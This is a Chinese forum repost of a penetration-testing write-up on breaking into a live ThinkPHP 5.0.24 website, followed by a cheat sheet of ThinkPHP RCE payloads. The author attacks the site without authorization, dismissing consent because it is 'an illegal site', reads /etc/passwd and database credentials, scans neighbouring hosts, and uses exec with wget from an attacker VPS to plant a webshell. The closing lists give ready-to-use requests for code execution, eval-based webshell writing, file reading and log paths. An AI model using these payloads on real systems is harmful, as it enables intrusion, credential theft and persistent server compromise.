安全矩阵

 找回密码
 立即注册
搜索
查看: 2673|回复: 0

实战 | TP5.0.24渗透实战

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-9-22 13:28:10 | 显示全部楼层 |阅读模式
https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
实战 | TP5.0.24渗透实战阿鑫鑫鑫鑫哥哥 [url=]衡阳信安[/url] 4天前
记录一下tp5.0.24,感觉此站应该是阉割版,按理来说tp5.0.24应该没有rce的。
网站是非法站点,不用担心未授权。



还是先报错一手,发现是5.0.24的,当时想应该没有希望了,但是还是抱着试一试的心态,用exp打一打



_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
然后发现打动了,哈哈哈哈。disable_function倒是挺多的


心里有一些小激动,然后想的是直接用exp拿下

s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
失败
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=%3C?php%20@eval($_POST[%27code%27]);?%3E
失败
session包含

  1. _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1       //写入session

  2. _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_oi14rt2tefacbtgcg7arrfnpo6&x=phpinfo();       //包含session

复制代码
​ 失败
然后就有一些无语,想的是我们用常规的exp能打出来,但是写不进去shell。既然能打出phpinfo。那么网站肯定是存在RCE。现在的思路就是就是通过读文件读出日志的位置,因为这一类站的路由都是在上一级,而且日志的位置可能还改了位置,所以我们需要先fuzzing一下日志位置,在包含拿下。
_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
然后用exp去读取文件,既然没有返回,想了想因该是权限不够。


因为出了phpinfo()嘛,我们可以根据路径读一下其他php文件,看看exp生不生效。



然后我们去读数据库文件,看看可不可以外连,一般名字为config.php,database.php,config.php.inc,目录一般在application/data,data,或者就在根目录下




读出数据库的时候,想了想只是要数据,其实不拿shell也行,就去外连,不出意外的没有连上。还是的硬打。
然后就继续fuzzing,成功的找到了日志的位置,这个时候想的是日志包含getshell,但是失败了,无法读取到,应该是对日志做了限制
现在既然有了数据库的账号密码,希望有一手phpmyadmin吧,结果站点也没有,就把希望放在了c段上,扫了一波端口,整个c段类似的站点都扫了一遍,都没有phpmyadmin,其他端口也扫了一下,999呀这些的,都没有找到phpmyadmin有点难受。
ps:其实不仅仅可以看看phpmyadmin,有些站可能有adminer.php。上次有个站点就有一个adminer,有数据库账号密码,直接抱紧去拿下shell。我们都可以看看。
然后又去后台,有验证码,也抱不动,简单的试了一下弱口令,没有什么用。登不进去,tmd的,我都烦死了。
没办法,还是的回到tp的反序列化,然后当我在仔细看disable_function的时候tm好像没有禁用exec,这尼玛,我tm吐了,这不用exp打一打?
s=whoami&_method=__construct&method=&filter[]=exec


没有反应??(当时猜测应该是disable_funciton的问题,就是拿到了shell,set=127这种情况)然后又换成了ping dnslog。这里也不贴图了发现dnslog这边没有反应,但是服务器这边确实一直在转,我感觉命令肯定是执行了,有问题的,然后用
wget vps/a.txt&_method=__construct&method=&filter[]=exec
成功写上了txt。
然后用python给自己的vps开一个web端口
python3 -m http.server 1337
s=exec vps:1377/shell.php&_method=__construct&method=&filter[]=exec
访问之,成功拿下


总结:
其实有些时候遇见tp5.0.24的,还是尝试一下,因为有一些是二次开发的,难免会存在tp5.0.*其他版本的漏洞,还有就是的信息,当打不动的时候,在回过头看看是不是遗漏了什么。本次思路,回过头来看,还是挺简单的,相当于常规的tp站点,禁用了大众的执行命令的函数,然后一个rce。
关于渗透tp的站点,
我也挺菜的,总结的也很水,首先是tp3的,tp3的漏洞我实际上见过的只有注入,日志泄露,至于我没有手动复现过的,tp3.2.3的缓存写入shell,土司有一个表哥发了一个后门,public/upload/gift/这个目录有上传,还有mochazz大佬审计的前台rce,认识的表哥可以舔舔,舔到了私信我,我也来舔你。
先说日志:

  1. Application//Runtime/Logs/Admin/20_05_01.log            
  2. Application//Runtime/Logs/Index/20_05_01.log            
  3. Application/runtime/logs/home/16_09_09.log

复制代码
这些都是tp3的日志,linux注意区分大小写,还有就是application可能会是app,也有直接runtime起手的
有些时候日志不是以年月日来命名,可能会是01_sql.log 01_error.log
再说注入:
注入就自己找,唯一说一点得得就是注入可以配合日志打组合拳,什么意思呢,就是xxid=1这个点存在注入,但是当我们把paylaod发进去,却没有数据出来,其实是有数据的,他在日志里而已。
关于tp5的
首先就是各类RCE,关于打phpinfo的

  1. _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
  2. _method=__construct&method=get&filter[]=phpinfo&get[]=-1      
  3. _method=__construct&filter[]=system&method=get&get[]=phpinfo      
  4. _method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
  5. _method=_constrcuct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()
  6. index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  7. 写入shell的
  8. index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=<?php @eval($_POST[1]);?>
  9. think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo'%3C?php%20@eval($_POST[1]);?%3E%27%3E.axgg.php
  10. s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

复制代码
日志,session写入,包含getshell。这里就不贴payload了,网上有很多,这里就说一些注意事项吧,写入php被过滤的时候,可以考虑base64加密,实在不行就用file_put_content用a+的追加的方式一个一个写入。至于session写入绕过的话,我们可以用伪协议来包含.
https://xz.aliyun.com/t/6106
然后是读取文件

  1. _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/data/app/lottery/public        //罗列目录位置
  2. _method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
  3. s=include("/etc/passwd")&_method=__construct&filter=assert      //读取文件

复制代码
关于日志


  1. runtime/log/202009/30.log               
  2. runtime/logs/202009/30.log            
  3. runtime/log/202009/03_sql.log        
  4. runtime/logs/home/16_09_09.log
  5. Application//Runtime/Logs/202005/01.log

复制代码
来源:先知社区




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 14:16 , Processed in 0.014533 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表